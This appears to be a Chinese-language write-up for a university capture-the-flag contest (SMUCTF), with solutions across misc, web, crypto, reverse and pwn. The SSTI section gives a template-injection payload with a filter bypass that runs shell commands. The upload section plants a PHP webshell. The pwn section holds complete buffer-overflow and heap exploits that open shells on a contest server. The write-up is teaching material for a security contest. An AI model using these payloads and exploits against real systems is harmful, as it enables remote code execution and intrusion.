The 4th SMUCTF Office WriteUp
I am honored to witness the four SMUCTF,and I have learned a lot from being a contestant to a questioner. This is the stage for our youth and the world where we display our talents. Here, we shed sweat, leave laughter, and gain knowledge and friendship. I hope you don't miss what's happening around you or what's going to happen, and please appreciate the little beauty in it!
Misc
一、checkin
欢迎参加第四届网络安全大赛!请开始你的挑战吧~ 你要做的就是在我们给你的文件或者链接中找到flag并将它提交到答题平台,例如本题的flag为flag{Welcome_T0_the_4th_SMUCTF}
二、Girls and cats
打开压缩文件,发现压缩文件中存在一个readme.txt文件,和题目提供的另外一个文件名一致,猜测是明文攻击
对readme.txt文件进行压缩(压缩工具对明文攻击能否爆破成功有影响),压缩完后再对比一下CRC32校验值,一样则说明是同一个文件,使用ARCHPR进行明文攻击得到压缩包密码
最后解压,查看图片属性得到一串base64编码的字符串,解码得到flag
三、width
首先很明显能听出来是电话音,于是dtmf解出压缩包密码:220201152007
接着binwalk+foremost得到一个压缩包 最后爆破图片宽度修改一下得到flag
import binascii
import struct
crcbp = open("flag.png", "rb").read()
for i in range(15000):
for j in range(15000):
data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0xE283C5BF:
print(i, j)
print('hex:', hex(i), hex(j))
# 1044 150
# hex: 0x414 0x96
四、GIFQR
gif逐帧分离,得到三张有用的二维码,但是需要进行一些处理
- 定位点修复
①.首先修复出一个完整定位点,使用ps中的矩形工具,挡住表情包,在右边的属性栏找到填色,设置为黑,描边关闭或设置为白,最后在图层栏选择矩形1,右键选择合并可见图层
②. 使用矩形框选工具,把整个定位点框选,然后右击选择通过拷贝的形状图层,拷贝两次
③. 将两个定位点移动到修复位置,ps有一定的自动对齐功能,大概位置正确即可
- 透视图形修复
①. 点击剪裁工具后右键选择透视剪裁工具
②. 选中二维码四角
③. 在使用移动工具调整图片到正常比例
3.内容修复
根据图像,用QRazyBox工具,补全二维码,应为容错等级高,所以被表情遮挡的内容不需要还原
五、hacker
首先导出 HTTP 流量包
导出后分析可知在 hacker(6).php 中通过URLDecode →base64 解密(删除前两个字节)得到关键信息:
cd "/www/wwwroot/gogoshop.com";zip -r -Piamhacker flag.zip flag.txt;echo c5a258bb;pwd;echo e974998c3a
得到压缩包解压密码为:iamhacker 在 hacker(13).php 中发现PK头得知是压缩包,通过010打开将其复制到新建的16进制文件中 最后解压得到flag
六、屠龙勇士
原本这题设计是一开始有个python伪随机数的,后面考虑比较难就给舍弃了
首先是sstv扫描出图片
扫描得到第一段密钥0HHH_C00L_ 第二段在末尾有一段莫斯电码,解出是第二段密钥Y0U_G0T_ME
最后使用silenteyes解密出flag
七、SHOHOKU
图片隐写套娃题 binwalk+foremost分离→盲水印→wbs43open→silenteye→cloacked-pixel→outguess→steghide→F5→JPHS
八、reflection
010或者winhex打开发现文件为jpeg,并在最底下发现base64编码的字符串
接着base64解码可以发现是倒过来的压缩包的十六进制
然后得到一个加密包,爆破得到压缩包密码:205009,进而得到flag
WEB
一、F12
禁用了F12和右键,只能通过view-source:查看或者抓包一下,在注解处得到flag
二、XFF
首先根据题目描述试一下常见目录,在robots.txt目录下得到一半的flag
接着根据提示,将xff设为1.1.1.1得到另外一半flag
三、MD5
弱类型比较
四、反序列化
<?php
$a = new stdclass();
$a->d=&$a->c;
echo serialize($a);
?>
# O:8:"stdClass":2:{s:1:"c";N;s:1:"d";R:2;}
五、ball
代码审计 what's your like ball? 可以二次覆盖 重新获取值
六、upload
先传个写入一句话木马的图片,然后得到图片路径
然后穿user.ini,里面写这个图片的路径,上传得到user.ini打地址
最后访问user.ini目录的index.php,得到flag
七、sql
八、ssti
使用类似{{"test"}}的payload进行测试,发现过滤的字符如下
write
config
etc
base
[
'
read
常用的payload如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
题目会将敏感词替换为*,我们可以用__mro__
替换__base__
来绕过base
,利用b.eval
替换b['eval']
绕过[
,利用request
获取post发送的值替换'__import__("os").popen("id").read()'
来绕过read
具体步骤如下:
1.找到object
使用__class__
获取类的类型,之后通过__mro__
查看继承顺序,最后使用__getitem__()
拿到object
:
2.拿到object后就好说了,对普通payload稍加改造就可以
http://175.178.102.149:1008/
{% for c in "".__class__.__mro__.__getitem__(2).__subclasses__() %}
{% if c.__name__ == "catch_warnings" %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if "eval" in b.keys() %}
{{b.eval(request.values.code)}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# POST发送
code=__import__("os").popen("id").read()
CRYPTO
一、Base大家族
常规思路并且很明显可以看出来是base64 → base32 → base16
二、认真的雪
很明显需要通过1.docx得到2.docx的密码 首先将1.docx改成.zip,在word目录下发现password,打开后Brainfuck解密得到密码
然后打开2.docx,在各种题目暗示下可以知道是snow隐写,显示隐藏文字即可发现
最后根据题目描述snow隐写的密码就是word的密码将其复制到文本中解密即可得到flag
三、xor
简单异或,考察写脚本的能力
t = 'flag'
c = b"\x1e\x01\x00\t\x034\x0e\x1b'\x0b\x08\x00\x1c2V\x06\x1d2\x12\x0b\x1b\x1f\x04\x1a']\x071\x00]\x13\x13"
for i in range(4):
print(chr(c[i]^ord(t[i])),end='')
key = 'xman'
print()
l = len(c)//4 + 1
t_key = key*l
c = bytes([i ^ ord(j) for i, j in zip(c,t_key)])
print(c)
四、ezcry
根据题目描述猜测 flag通过培根加密,栅栏加密,和某种base得到密文 观察密文很像少见的base58 ,所以先base58解密再栅栏和培根解密即可得到flag
五、asr
按照欧拉函数求多因数rsa的phi,再解密
from gmpy2 import *
from Crypto.Util.number import *
p = 8391242257294406063505527061814121492343569663481885890484470106743494280611016525805465845981772082141642954225930854917974107720342353743738201986663379
q = 6920364648388444977713920260745955799404039811035045631085096302746009508674392957431092889490782702395210358426722027223682819905807627215153414931559457
r = 7517109340282224641953344665880422891030760565122630991812838424349171161528070506665683983395274853878890511182226533991063849476657152961762996085870989
s = 10175261853504626539535727123541176380795070851738919004439887910079284908723157730485852482382214071325754127913350694669087912701645183748675096136891223
c = 2040446364831576029544749082486062313401979642724785624725925884284903220520441423866860942231266715079366385045008457000633101682572416840326843641518165257036392372208375525711729619063290977693788578026185017922662263681240536204755382730961863270536801158885023568618124077033230819756941287319195585328043261440617928643958121153384971016302888236382701082764036561515072499795073172733085915296848644199575345295536309274126068022740932305640208242409507493000460701030512212206856076682782932565402770404232402689588391966717130875389307210665171347947309492000352500604246678864884624054759221696222767749602078313731944608302063109854924449343498232190469581542790965772396312459268598338723377391283547157593543572277031893773902364817137124701090711507535075786893268357212799826430195501225745181417259708912461274569133153399040598675693229535178988002442426558521428178490073989410576984600171593740837823541008858900405833722987615291821598866947407327266550027157097061577259615692729940812275673961040040670252549574643998654457260591025388442348485200073299330
n = p**2*q*r**3*s
e = 65537
phi = (q-1)*(s-1)*p*(p-1)*r**2*(r-1)
d = invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
六、EZ_RSA
已知x为1024位质数,p为11x的下一个质数,q为23x的前一个质数,也就是p与11x的差距很小,q与23x的差距也很小,那么可以通过p*q=n这一关系先计算出x的近似值: 即利用:11 x 23 * x = n 得到x近似值x':
然后可以在x’的较大邻域进行爆破获得真实的x值,以及p值:
for i in range(-100000,100000):
p = 11*x+i
# 当n和p公因子不为1的时候,得到p的真实值
if gmpy2.gcd(n,p)!=1:
#print(p)
break
得到x以后可以求出p、q,phi,由于e是偶数和phi不互素,需要先求e和phi的最大公因子t,d = invert(e//t,phi),最后用d解密:
for i in range(-100000,100000):
#求出q,phi(n)
q = n//p
phi = (p-1)*(q-1)
#e为合数,需要先求出e和phi的最大公因子,用除去最大公因子后的e对phi求模逆得到私钥d
t = gmpy2.gcd(phi,e)
d = gmpy2.invert(e//t,phi)
# c^d mod n 得到m的t次方,开根得到m
m = gmpy2.iroot(pow(c,d,n),t)[0]
print(long_to_bytes(m))
七、Pell
第一个式子和第三个式子的差如下
y ** 9 - x ** 6
分解因式后得到
(x ** 2 + y ** 3) * (x ** 4 - x ** 2 * y ** 3 + y ** 6)
发现符合佩尔方程的定义,可以由此解出x和y
x = Int("x")
y = Int("y")
s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)
if s.check() == sat:
m = s.model()
x = m[x].as_long()
# 7285043097912720675016158197
y = m[y].as_long()
# 3794494741579279495149281093
print("x: " + str(x))
print("y: " + str(y))
通过原式解出z后就可以获得p和q 附上exp:
from z3 import *
import gmpy
import sympy
c = 866707674736220357444245838952394163960321760057326545128241291294257501635173094384690739257077715568789966356035792288267521605769977983027270061255063183267635082504993469531429844593828509049001655392019985157587401928427625963878710255962134625674567307913972934028800773083388283518251425673297670198873040417883530242166827820423828466940600452728069943295321244321160509501416344830119037047351419988083554078735850267744528929125825765327498414911466304716064362280913888661615091578167437645633838395206238343627875716629107620869152243936334829814586943600741025702807192675843100180454359272193616852534566367152051717687168572407947429460524064481430770966339787802885401818895955510532135255046557138211022704301090713869765429403504596530317888080738810016290848695324908712509291
A = 22760640240275011709270809855574317191231718585128262830058174024379966531 * 2 * 3 * 71 * 5634661
B = 690746832787080415717842785816881389692209632076992626573930037002581297196983129022480951974982803274414106285374332269456496745676560507319574181630903683 * 3 * 19 * 151 * 502057
x = Int("x")
y = Int("y")
s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)
if s.check() == sat:
m = s.model()
x = m[x].as_long()
# 7285043097912720675016158197
y = m[y].as_long()
# 3794494741579279495149281093
print("x: " + str(x))
print("y: " + str(y))
x = 7285043097912720675016158197
y = 3794494741579279495149281093
z = Int("z")
s = Solver()
s.add(3 * z - x ** 6 + y * z == -149483325975565436807263592905156428557050209795686721906938253263055242439538933056410244207231037014114592441331871056943997324413216777528806960408142023584600015233)
s.add(x ** 3 + y ** 7 + x * y * z == 11326029467430598336551942828341915229671533561193583273365063515089095549293508116772803696444078928131425394498315031815261692721908241388661513840041252666440932061628277583082359955524040751)
s.add(y ** 9 + 3 * z + z * y == 163074328112378067363251891719892271598408187267753678756157405177088217061656827884196262350304037027344282698697518980719806107428464252657103112948511296886090479118533459097251828938284112396254354772031698480043354824668396252417403314983546189)
if s.check() == sat:
m = s.model()
z = m[z].as_long()
print("x: " + str(x))
p = sympy.nextprime(x ** 11 + z ** 13 + y ** 15 << 76)
q = sympy.nextprime(z ** 12 + y ** 13 + (y * x * z) ** 2 ^ 789)
d = gmpy.invert(31337, (p - 1) * (q - 1))
print(bytes.fromhex(hex(pow(c, d, p * q))[2:]).decode())
八、神奇的密码
Java异或
import java.nio.charset.Charset;
public class DeEnCode {
private static final String key0 = "2022.7.25";
private static final Charset charset = Charset.forName("UTF-8");
private static byte[] keyBytes = key0.getBytes(charset);
public static String decode(String dec){
byte[] e = dec.getBytes(charset);
byte[] dee = e;
for(int i=0,size=e.length;i<size;i++){
for(byte keyBytes0:keyBytes){
e[i] = (byte) (dee[i]^keyBytes0);
}
}
return new String(e);
}
public static void main(String[] args) {
String dec = decode("T^SUIAJAESSO");
System.out.println(dec);
}
}
REVERSE
一、re1
拿到文件,ida64打开,并找到主函数如下,得到flag
二、re2
根据提示,我们知道题目为魔改的base64加密,ida打开找到主函数:
其中第14行是最后check判断的密文,第20行的base64Encode函数为base64加密函数:
发现整个函数逻辑为正常的base64加密过程,找到第23行的unk_489084,双击打开:
在里面找到了base64变表:
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+
直接CyberChef解密即可得到flag
三、re3
根据提示,不难看出该题存在加密过程,先用ida打开,找到主函数:
其中第12行的rc4_crypt不难看出是rc4加密,我们只需找到密文和密钥解密即可 通过对主函数和rc4_crypt函数的观察可以发现,”anhuishuiwu”是我们需要的密钥,并且我们通过查看汇编语言:
发现一串可疑的数据,这些数据是在加密之后进行了check,由此判断为密文(实在看不出来的话可以用假设法,假设它是密文看能不能解出来flag,逆向三分靠写,七分靠猜),我们有了密文和密钥,直接脚本解密即可得到flag
#include<stdio.h>
/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
void main()
{
//字符串密钥
unsigned char key[] = "anhuishuiwu";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);
//加解密数据
unsigned char data[] = { 0x9b,0x50,0xd5,0x12,0xa9,0x5c,0x4e,0xd8,0x18,0x80,0x2d,0xbb,0xef,0x39,0x55,0x1f,0x8f,0xa4,0x63,0x34,0x18,0xec,0x56,0x26 };
//加解密
rc4_crypt(data, sizeof(data), key, key_len);
for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return;
}
四、app1
下载好题目,拖入夜神中,打开如下所示:
查壳,发现无壳,用jeb反编译后,找到关键字验证失败所在类,发现调用了so层的 CheckString函数进行了验证,传进去的参数为我们在输入框中输入的字符串,如下图所示:
用IDA打开so文件(要提取x86文件夹下面那个so文件,两个arm文件夹下面的so文件用ida打开 有问题),找到该静态函数,直接F5大法,静态分析该函数可知:首先将传入的字符串前16位与后16位 互换,然后两两一组互换位置,最后将得到的字符串与字符串f72c5a36569418a20907b55be5bf95ad比 较返回比较结果!!!
写了一个python小脚本跑出flag,如下所示:
string = 'f72c5a36569418a20907b55be5bf95ad'
strlist = list(string)
k = 0
for i in range(16):
ch = strlist[1 + k]
strlist[1 + k] = strlist[0 + k]
strlist[0 + k] = ch
k = k + 2
k = 0
for i in range(16):
ch = strlist[0 + k]
strlist[0 + k] = strlist[16 + k]
strlist[16 + k] = ch
k = k + 1
print(''.join(strlist))
# 90705bb55efb59da7fc2a5636549812a
PWN
一、nc
nc连上后直接cat flag即可
二、ret2libc1
改程序中存在 /bin/sh\x00 字符串,以及存在system函数,而在gets函数中,并没有限制长度,同样是32位的程序,只开了nx保护,只需要在ida中找到 /bin/sh 字符串的位置,并调用system的plt表即可
from pwn import *
#io = process('./pwn')
io = remote("175.178.102.149", 10002)
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
io.sendline(payload)
io.interactive()
三、ret2libc2
程序中的漏洞还是和前面几题一样,只不过程序中有system函数,但是没有了 /bin/sh\x00字符串,不过可以手动读入字符串,通过工具 ROPgadget 寻找出程序中的gadget,并将 /bin/sh 字符串通过溢出手动调用gets读入,最后调用system函数的plt表即可
from pwn import *
#io = process('./pwn')
io = remote("175.178.102.149", 10003)
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = b'a' * 112 + p32(gets_plt) + p32(pop_ebx) + \
p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
四、ret2text
打开ida进行反汇编,可以发现gets函数输入时,并没有限制长度,buf的位置到ebp距离0x6c,所以直接溢出0x6c的垃圾数据到ebp,再溢出4字节(4字节是因为程序是32的,程序的位数可以用file命令查看)覆盖ebp 由于程序只开了NX保护(使用 checksec 命令查看),所以直接在ida中找到程序中后门函数的位置,并设置为返回地址即可
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10004)
context.log_level = "debug"
payload = b"a" * 112 + p32(0x804863a)
#gdb.attach(io, "b system")
io.sendline(payload)
io.interactive()
五、ezheap
经典的堆溢出,unlink造成任意地址读写,修改got表 getshell
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149", 10005)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def add(size, content):
io.sendlineafter("Your Choice: ", "1")
io.sendlineafter("please tell me how much you want to have:", str(size))
io.sendlineafter("Content:", content)
def delete(idx):
io.sendlineafter("Your Choice: ", "2")
io.sendlineafter("Please give me idx:", str(idx))
def edit(idx,content):
io.sendlineafter("Your Choice: ", "3")
io.sendlineafter("Please give me idx:", str(idx))
io.sendafter("What do you want?",content)
def show(idx):
io.sendlineafter("Your Choice: ", "4")
io.sendlineafter("Please give me idx:", str(idx))
add(0x200, "/bin/sh\x00")
for i in range(9):
add(0x200, "/bin/sh\x00")
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.symbols["__malloc_hook"]
fd_ptr = libc_base + 96 + 0x10 + libc.symbols["__malloc_hook"]
success("libc base is leaked ==> " + hex(libc_base))
sys_addr = libc_base+libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
edit(6, p64(free_hook))
add(0x200, "/bin/sh\x00")
add(0x200, p64(sys_addr))
delete(9)
io.interactive()
六、GiveAtry
很明显的栈溢出,有个比较字符串,覆盖一下就行了
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10006)
io.sendlineafter(" `-../____,..---'`", b"a" * 0xf + b"become_it")
io.interactive()
七、easystack
第二个read有溢出可以直接更改栈上数据
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10007)
context.log_level = "debug"
io.sendlineafter("Please Enter Your Name:", b"deadbeef")
io.sendafter("Please Enter Your Age:", b"a" * 0xf8 + p32(20200202))
io.interactive()
八、game
强行接收然后机器算
from pwn import *
#io = process("./pwn")
io = remote('175.178.102.149', 10008)
io.recvuntil(b':)\n')
io.send(p32(3735928559))
io.recvline()
for i in range(1000):
a = io.recvuntil(b'= ?').replace(b'= ?', b'')
print(a)
ans = eval(a)
io.sendline(str(ans))
io.interactive()
相关文章
- Ubuntu中Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend)问题的解决「建议收藏」
- What's The Difference Between Microbiome and Microbiota?
- Microsoft Office 2010详细安装步骤--microsoft office 2010密钥在哪
- 【错误记录】Flutter 编译报错 ( The parameter ‘‘ can‘t have a value of ‘null‘ because of its type, but the im )
- ORA-00374: parameter db_block_size = string invalid ; must be a multiple of string in the range [string..string] ORACLE 报错 故障修复 远程处理
- ORA-19249: XQDY0029 – value does not match facet of the target type ORACLE 报错 故障修复 远程处理
- ORA-28077: The attribute specified (string) exceeds the maximum length. ORACLE 报错 故障修复 远程处理
- ORA-29909: label for the ancillary operator is not a literal number ORACLE 报错 故障修复 远程处理
- ORA-38409: invalid name or option for the attribute set: string ORACLE 报错 故障修复 远程处理
- ORA-41661: the system generated rule class package has errors ORACLE 报错 故障修复 远程处理
- ORA-48411: The trace files exceeds the maximum number [string] ORACLE 报错 故障修复 远程处理
- ORA-53254: The SOP INSTANCE UID for the new DICOM object is invalid. ORACLE 报错 故障修复 远程处理
- ORA-55483: policy “string” not assigned to the model ORACLE 报错 故障修复 远程处理
- ORA-64127: XMLIndex Table Function: failure at the beginning of the function ORACLE 报错 故障修复 远程处理
- ORA-01378: The logical block size (string) of file string is not compatible with the disk sector size (media sector size is string and host sector size is string) ORACLE 报错 故障修复 远程处理
- ORA-13610: The directive string does not exist for task string. ORACLE 报错 故障修复 远程处理
- ORA-16547: cannot disable or delete the primary database ORACLE 报错 故障修复 远程处理
- Unlocking the Hidden Secrets of Oracle Variables(oracle存在变量)
- Exploring the Power of MongoDB: The Definitive Guide to Upgrading Arrays(mongodb更新数组)
- Exploring the Oracle Universe: A Tour of Their Official Website(oracle官方网站)